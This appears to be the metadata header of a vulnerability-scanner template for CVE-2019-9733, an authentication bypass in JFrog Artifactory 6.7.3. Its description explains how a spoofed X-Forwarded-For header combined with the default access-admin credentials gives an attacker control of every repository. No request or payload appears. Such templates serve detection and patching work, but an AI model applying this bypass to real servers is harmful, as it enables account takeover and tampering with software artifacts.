id: CVE-2019-9733
info:
  name: Artifactory Access-Admin Login Bypass
  author: akshansh
  severity: critical
  description: An issue was discovered in JFrog Artifactory 6.7.3. By default, the access-admin account is used to reset the password of the admin account in case an administrator gets locked out from the Artifactory console. This is only allowable from a connection directly from localhost, but providing a X-Forwarded-For HTTP header to the request allows an unauthenticated user to login with the default credentials of the access-admin account while bypassing the whitelist of allowed IP addresses. The access-admin account can use Artifactory's API to request authentication tokens for all users including the admin account and, in turn, assume full control of all artifacts and repositories managed by Artifactory.
